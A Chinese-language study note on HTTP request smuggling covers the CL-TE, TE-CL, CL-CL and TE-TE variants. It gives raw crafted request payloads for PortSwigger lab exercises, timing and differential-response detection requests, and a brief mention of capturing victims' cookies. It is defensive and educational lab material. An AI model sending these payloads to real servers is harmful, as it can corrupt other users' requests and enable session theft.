# http 请求走私漏洞
记得先把这个 Content-Length 更新修改
# Http 1.1 的特性
# keepalive
tcp 的连接,再建立一次 tcp 连接的时候,他不会把 tcp 连接关掉,会一直挂起来,再有 tcp 请求时,还会用这个 tcp 连接请求,会将挂起来的 tcp 连接再用一次
# pipeline
可以在同一个请求发送两个 http 的包
我可以利用这个特性传两个包,一个是正常的合法的包,一个是我的 payload 包,上传后会发送到后端,正常的和 payload 包一起传到后端,执行第二个请求
还有一种就是我发送两个包,但是只执行了一个包的内容,那么这个包不会被丢弃,而是在其他人请求的时候执行这个包
# Http 请求走私漏洞的类型:
# CLTE
用这个 payload 上传两次时,第一次时前端看的时 Content-Length 是 35 个字符,是符合要求的,但是传入后端时,后端看的时 Transfer-Encoding 是 chunked
用这个的意义是可以用来将 post 的数据进行块传输,但是他的特性是在遇到 0\r\n\r\n 也就是 0 后面连续两个回车时,就会终止 ,也就是
POST / HTTP/1.1
Host: YoUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Transfer-Encoding: chunked
这里为一个请求
GET /404 HTTP/1.1
X-Ignore:X
这里为一个请求,他会储存在服务器的缓存中,那么下次请求时就是 404
进阶可以用 0\r\n\r\na: 拼接受害者的 cookie 发送给自己(因为 tcp 连接连接的是自己的 tcp 连接,别人访问的也是你的 tcp 连接)
header 和数据要空一行,\r\n 是两个字符
# CL 不为 0 的 GET 请求
前端代理服务器允许 GET 请求携带请求体,但后端服务器不允许 GET 请求携带请求体,则后端服务器会忽略掉 GET 请求中的 Content-Length
,不进行处理,从而导致请求走私。
GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 44\r\n
GET / secret HTTP/1.1\r\n
Host: example.com\r\n
\r\n
前端服务器收到该请求,通过读取 Content-Length
,判断这是一个完整的请求,然后转发给后端服务器,而后端服务器收到后,因为它不对 Content-Length
进行处理,由于 Pipeline
的存在,它就认为这是收到了两个请求。
# 3.2 CL-CL
假设中间的代理服务器和后端的源站服务器在收到类似的请求时,都不会返回 400 错误,但是中间代理服务器按照第一个 Content-Length
的值对请求进行处理,而后端服务器按照第二个 Content-Length
的值进行处理。这样有可能引发请求走私。
POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n
12345\r\n
a
前端代理服务器获取的数据包长度为 8,将以上数据包完整转发至后端服务器,但后端服务器仅接收长度为 7 的数据包。因此读取前 7 个字符后,后端服务器认为本次请求已经读取完毕,然后返回响应。
但此时缓冲区仍留下一个 a,对于后端服务器来讲,这个 a 是下一个请求的一部分,但没传输完毕。如果此时传来一个请求
GET / HTTP/1.1
HOST: test.com
那么前端服务器和后端服务器将重用 TCP 连接,使后端实际接收的请求为:
aGET / HTTP/1.1
HOST: test.com
从而实现了一次 HTTP 请求攻击。
# 3.3 CL-TE
所谓 CL-TE
,就是当收到存在两个请求头的请求包时,前端代理服务器只处理 Content-Length
这一请求头,而后端服务器会遵守 RFC2616
的规定,忽略掉 Content-Length
,处理 Transfer-Encoding
这一请求头。
chunk 传输数据格式如下,其中 size 的值由 16 进制表示。
[chunk size][\r\n][chunk data][\r\n][chunk size][\r\n][chunk data][\r\n][chunk size = 0][\r\n][\r\n]
Lab 地址:https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te
构造数据包
POST / HTTP/1.1\r\n
Host: ace01fcf1fd05faf80c21f8b00ea006b.web-security-academy.net\r\n
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Cookie: session=E9m1pnYfbvtMyEnTYSe5eijPDC04EVm3\r\n
Connection: keep-alive\r\n
Content-Length: 6\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
G
连续发送几次请求就可以获得该响应。
由于前端服务器处理 Content-Length
,所以这个请求对于它来说是一个完整的请求,请求体的长度为 6,也就是
0\r\n
\r\n
G
当请求包经过代理服务器转发给后端服务器时,后端服务器处理 Transfer-Encoding
,当它读取到 0\r\n\r\n
时,认为已经读取到结尾了,但是剩下的字母 G
就被留在了缓冲区中,等待后续请求的到来。当我们重复发送请求后,发送的请求在后端服务器拼接成了类似下面这种请求。
GPOST / HTTP/1.1\r\n
Host: ace01fcf1fd05faf80c21f8b00ea006b.web-security-academy.net\r\n
......
服务器在解析时当然会产生报错了。
# 3.4 TE-CL
所谓 TE-CL
,就是当收到存在两个请求头的请求包时,前端代理服务器处理 Transfer-Encoding
这一请求头,而后端服务器处理 Content-Length
请求头。
Lab 地址:https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl
构造数据包
POST / HTTP/1.1\r\n
Host: acf41f441edb9dc9806dca7b00000035.web-security-academy.net\r\n
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Cookie: session=3Eyiu83ZSygjzgAfyGPn8VdGbKw5ifew\r\n
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
12\r\n
GPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n
由于前端服务器处理 Transfer-Encoding
,当其读取到 0\r\n\r\n
时,认为是读取完毕了,此时这个请求对代理服务器来说是一个完整的请求,然后转发给后端服务器,后端服务器处理 Content-Length
请求头,当它读取完 12\r\n
之后,就认为这个请求已经结束了,后面的数据就认为是另一个请求了,也就是
GPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n
成功报错。
# 3.5 TE-TE
TE-TE
,也很容易理解,当收到存在两个请求头的请求包时,前后端服务器都处理 Transfer-Encoding
请求头,这确实是实现了 RFC 的标准。不过前后端服务器毕竟不是同一种,这就有了一种方法,我们可以对发送的请求包中的 Transfer-Encoding
进行某种混淆操作,从而使其中一个服务器不处理 Transfer-Encoding
请求头。从某种意义上还是 CL-TE
或者 TE-CL
。
Lab 地址:https://portswigger.net/web-security/request-smuggling/lab-ofuscating-te-header
构造数据包
POST / HTTP/1.1\r\n
Host: ac4b1fcb1f596028803b11a2007400e4.web-security-academy.net\r\n
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Cookie: session=Mew4QW7BRxkhk0p1Thny2GiXiZwZdMd8\r\n
Content-length: 4\r\n
Transfer-Encoding: chunked\r\n
Transfer-encoding: cow\r\n
\r\n
5c\r\n
GPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n
需要 \r\n\r\n
在后面加上尾随序列 0
。
# 4、查找 HTTP 请求走私漏洞
# 4.1 使用计时技术查找 HTTP 请求走私漏洞
检测 HTTP 请求走私漏洞的最普遍有效方法是发送请求,如果存在漏洞,该请求将导致应用程序响应中的时间延迟。
# 4.1.1 使用计时技术查找 CL.TE 漏洞
如果应用程序容易受到请求走私的 CL.TE 变体的攻击,则发送如下所示的请求通常会导致时间延迟:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4
1
A
X
由于前端服务器使用 Content-Length
标头,因此它将仅转发此请求的一部分,而忽略 X
。后端服务器使用 Transfer-Encoding
标头,处理第一个块,然后等待下一个块到达。这将导致明显的时间延迟。
# 4.1.2 使用计时技术查找 TE.CL 漏洞
如果应用程序容易受到 TE.CL 变种的请求走私攻击,则发送如下所示的请求通常会导致时间延迟:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 6
0
X
由于前端服务器使用 Transfer-Encoding
标头,因此它将仅转发此请求的一部分,而忽略 X
。后端服务器使用 Content-Length
标头,期望消息正文中有更多内容,然后等待其余内容到达。这将导致明显的时间延迟。
如果应用程序容易受到该漏洞的 CL.TE 变体的攻击,则基于时间的 TE.CL 漏洞测试可能会破坏其他应用程序用户。因此,要隐身并最大程度地减少中断,您应该首先使用 CL.TE 测试,只有在第一个测试失败的情况下才继续进行 TE.CL 测试。
# 4.2 使用差异响应确认 HTTP 请求走私漏洞
当检测到可能的请求走私漏洞时,您可以利用此漏洞触发应用程序响应内容的差异来获取该漏洞的进一步证据。这涉及快速连续地向应用程序发送两个请求:
- 一种 “攻击” 请求,旨在干扰下一个请求的处理。
- “正常” 请求。
# 4.2.1 使用差异响应确认 CL.TE 漏洞
要确认 CL.TE 漏洞,您将发送如下攻击请求:
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
Transfer-Encoding: chunked
e
q=smuggling&x=
0
GET /404 HTTP/1.1
Foo: x
如果攻击成功,则后端服务器会将此请求的最后两行视为属于接收到的下一个请求。这将导致随后的 “正常” 请求如下所示:
GET /404 HTTP/1.1
Foo: xPOST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=smuggling
由于此请求现在包含无效的 URL,因此服务器将以状态代码 404 进行响应,指示攻击请求确实确实对其进行了干扰。
Lab 地址:https://portswigger.net/web-security/request-smuggling/finding/lab-confirming-cl-te-via-differential-responses
构造数据包:
POST / HTTP/1.1
Host: ac201f6c1fc9901e8087240700e3006a.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: session=Jcr7wr0rAtPCIePHi3MpPtKYvXX6Oe3p
Upgrade-Insecure-Requests: 1
Content-Length: 35
Transfer-Encoding: chunked
0
GET /404 HTTP/1.1
X-Ignore: X
# 4.2.2 使用差分响应确认 TE.CL 漏洞
要确认 TE.CL 漏洞,您将发送如下攻击请求(需要 \r\n\r\n
在 final 后面加上尾随序列 0
):
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
7c
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 144
x=
0
如果攻击成功,则 GET /404
后端服务器将从开始将所有内容视为属于接收到的下一个请求。这将导致随后的 “正常” 请求如下所示:
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 146
x=
0
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=smuggling
由于此请求现在包含无效的 URL,因此服务器将以状态代码 404 进行响应,指示攻击请求确实确实对其进行了干扰。
Lab 地址:https://portswigger.net/web-security/request-smuggling/finding/lab-confirming-te-cl-via-differential-responses
构造数据包:
POST / HTTP/1.1
Host: acd31fc11fdb90f980e526ce00b800a5.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: session=cGzs96HQw7tftthKo6AmNVgZ1wwj7PoH
Upgrade-Insecure-Requests: 1
Content-length: 4
Transfer-Encoding: chunked
5e
POST /404 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
# 4.3 注意
在尝试通过干扰其他请求来确认请求走私漏洞时,应牢记一些重要的注意事项:
- 应使用不同的网络连接将 “攻击” 请求和 “正常” 请求发送到服务器。通过同一连接发送两个请求都不会证明该漏洞存在。
- “攻击” 请求和 “正常” 请求应尽可能使用相同的 URL 和参数名称。这是因为许多现代应用程序根据 URL 和参数将前端请求路由到不同的后端服务器。使用相同的 URL 和参数会增加由同一后端服务器处理请求的机会,这对于进行攻击至关重要。
- 在测试 “正常” 请求以检测来自 “攻击” 请求的任何干扰时,您正在与应用程序同时接收到的任何其他请求(包括来自其他用户的请求)竞争。您应该在 “攻击” 请求之后立即发送 “正常” 请求。如果应用程序忙,则可能需要执行多次尝试以确认漏洞。
- 在某些应用程序中,前端服务器用作负载平衡器,并根据某些负载平衡算法将请求转发到不同的后端系统。如果将您的 “攻击” 和 “正常” 请求转发到不同的后端系统,则攻击将失败。这是为什么您可能需要多次尝试才能确认漏洞的另一个原因。
- 如果您的攻击成功干扰了后续请求,但这不是您发送来检测干扰的 “正常” 请求,则意味着另一个应用程序用户受到了您的攻击的影响。如果继续执行测试,可能会对其他用户造成破坏性影响,因此应谨慎行事。
# 确认是否为走私攻击:
用这几种方式都用一遍,如果产生明显的延时就是这个方式的走私攻击